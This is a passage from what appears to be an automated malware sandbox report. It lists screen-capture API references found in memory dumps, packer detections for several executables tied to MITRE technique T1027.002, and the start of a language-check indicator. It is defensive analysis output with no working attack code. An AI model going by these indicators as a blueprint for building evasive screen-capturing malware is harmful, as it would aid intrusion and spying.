"00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006728.00000000.112848.03540000.00000004.mdmp, 00000000-00006728.00000001.114767.03540000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007320.00000000.112593.02B40000.00000004.mdmp, 00000000-00007320.00000001.114514.02B40000.00000004.mdmp")5c:T427," Microsoft\"\n \"1898410871.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1630140227.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"ph6_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2715832023.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1877120104.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"ph5_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a4bbcf2aa193dc9ee0e951d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"